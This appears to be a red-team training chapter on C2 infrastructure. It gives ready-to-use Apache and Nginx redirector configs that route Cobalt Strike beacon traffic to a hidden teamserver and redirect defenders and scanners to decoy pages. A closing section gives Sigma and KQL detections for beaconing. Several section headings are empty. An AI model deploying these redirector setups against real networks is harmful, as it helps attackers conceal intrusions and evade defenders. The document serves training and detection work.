C2 Infrastructure Design and Redirectors

A mature C2 infrastructure is built in layers so that a burned implant or detected domain does not expose the teamserver, and so that defenders analyzing traffic see only a legitimate cloud CDN rather than an offensive tool. This chapter covers the full architecture — redirectors, categorization, Domain Fronting, Apache/Nginx redir configurations — and explains exactly what each layer is designed to hide and from whom.

C2 Architecture Overview

Redirector Types and When to Use Each

Apache mod_rewrite Redirector

The redirector serves a legitimate-looking decoy page to any client that doesn't match the expected beacon user-agent and URI pattern. Scanners, blue-teamers, and automated infrastructure scanners get a real 200 response — the teamserver IP is never revealed to them.

# /etc/apache2/sites-enabled/redir.conf
# Requirements: mod_rewrite, mod_proxy, mod_proxy_http, mod_ssl

<VirtualHost *:443>
    ServerName redir.yourdomain.com
    SSLEngine On
    SSLCertificateFile    /etc/letsencrypt/live/redir.yourdomain.com/fullchain.pem
    SSLCertificateKeyFile /etc/letsencrypt/live/redir.yourdomain.com/privkey.pem

    # Don't reveal this is a redirector
    ServerTokens Prod
    ServerSignature Off

    # Log access (or don't — operational choice)
    CustomLog /var/log/apache2/redir_access.log combined
    ErrorLog  /var/log/apache2/redir_error.log

    RewriteEngine On

    # --- Only forward requests matching the beacon URI pattern ---
    # Cobalt Strike malleable C2: beacon checks in with /jquery-3.3.2.slim.min.js
    # and sends tasks from /Consent/Manage (example malleable profile URIs)

    # Condition 1: user-agent must match expected (from malleable profile)
    RewriteCond %{HTTP_USER_AGENT} "Mozilla/5.0 \(compatible; MSIE 9\.0; Windows NT 6\.1\)" [NC]

    # Condition 2: URI must match beacon pattern
    RewriteCond %{REQUEST_URI} "^/jquery-[0-9a-z.]+\.min\.js$" [OR]
    RewriteCond %{REQUEST_URI} "^/Consent/Manage" [OR]
    RewriteCond %{REQUEST_URI} "^/api/v[0-9]/update$"

    # Forward matched traffic to teamserver (internal IP / VPN)
    RewriteRule ^.*$ https://10.0.0.100:443%{REQUEST_URI} [P,L]
    ProxyPassReverse / https://10.0.0.100:443/

    # --- Everything else: serve a decoy ---
    # Redirect to Microsoft to appear as a legitimate Microsoft-associated CDN
    RewriteRule ^.*$ https://www.microsoft.com/ [R=302,L]
</VirtualHost>

# Firewall rule (iptables): only allow inbound 443 from CDN IP ranges
# iptables -A INPUT -p tcp --dport 443 -s 104.16.0.0/12 -j ACCEPT   # Cloudflare
# iptables -A INPUT -p tcp --dport 443 -j DROP

Nginx Redirector with SNI Passthrough

# Nginx stream (layer 4) redirector — forwards TLS without terminating.
# Teamserver sees real client IP in logs.
# Useful when teamserver has its own TLS cert the beacon trusts directly.

# /etc/nginx/nginx.conf
stream {
    map $ssl_preread_server_name $backend {
        c2.attacker.com   10.0.0.100:443;   # matched SNI → teamserver
        default           127.0.0.1:8080;   # unmatched → decoy nginx
    }

    server {
        listen 443;
        proxy_pass       $backend;
        ssl_preread      on;            # read SNI without terminating TLS
        proxy_timeout    20s;
        proxy_connect_timeout 5s;
    }
}

http {
    # Decoy web server on :8080
    server {
        listen 8080;
        root /var/www/decoy;
        index index.html;
        location / { try_files $uri /index.html; }
    }
}

# SNI passthrough means:
# - TLS certificate must be on the teamserver, not the redirector
# - The SNI name (c2.attacker.com) must resolve to redirector's IP
# - Beacon connects to redirector IP but presents SNI for teamserver cert

CDN Domain Fronting

Infrastructure OPSEC Checklist

Detection Engineering

title: Beacon to CDN with Suspicious URI Pattern
logsource:
  product: windows
  category: proxy
detection:
  selection:
    cs-host|contains:
      - 'azurefd.net'
      - 'cloudfront.net'
      - 'workers.dev'
    cs-uri-stem|re: '^/(jquery-|moment-|bootstrap-).*\.min\.js$'
    cs-method: GET
  filter_legit:
    cs-referer|contains: 'https://'   # referer present = browser, not beacon
  condition: selection AND NOT filter_legit
level: medium
tags: [attack.command_and_control, T1071.001]

title: Beaconing: Periodic HTTPS to Same Host (Low Jitter)
logsource:
  product: zeek
  service: conn
detection:
  selection:
    id.resp_p: 443
    duration|lt: 1       # very short connections = checkin, not browsing
  condition: selection
level: low
falsepositives: [Analytics beacons, telemetry, update checks]
note: Requires Zeek conn.log aggregation with time-bucket analysis to detect regularity

-- MDE KQL: detect new domain first seen today that received regular POSTs
DeviceNetworkEvents
| where Timestamp > ago(1d)
| where RemotePort == 443
| summarize
    request_count = count(),
    first_seen = min(Timestamp),
    last_seen = max(Timestamp),
    unique_processes = dcount(InitiatingProcessFileName)
    by DeviceName, RemoteUrl
| where request_count > 20
| where first_seen > ago(1d)            // domain never seen before today
| where unique_processes == 1           // only one process talking to it
| project DeviceName, RemoteUrl, request_count, first_seen, last_seen

Q&A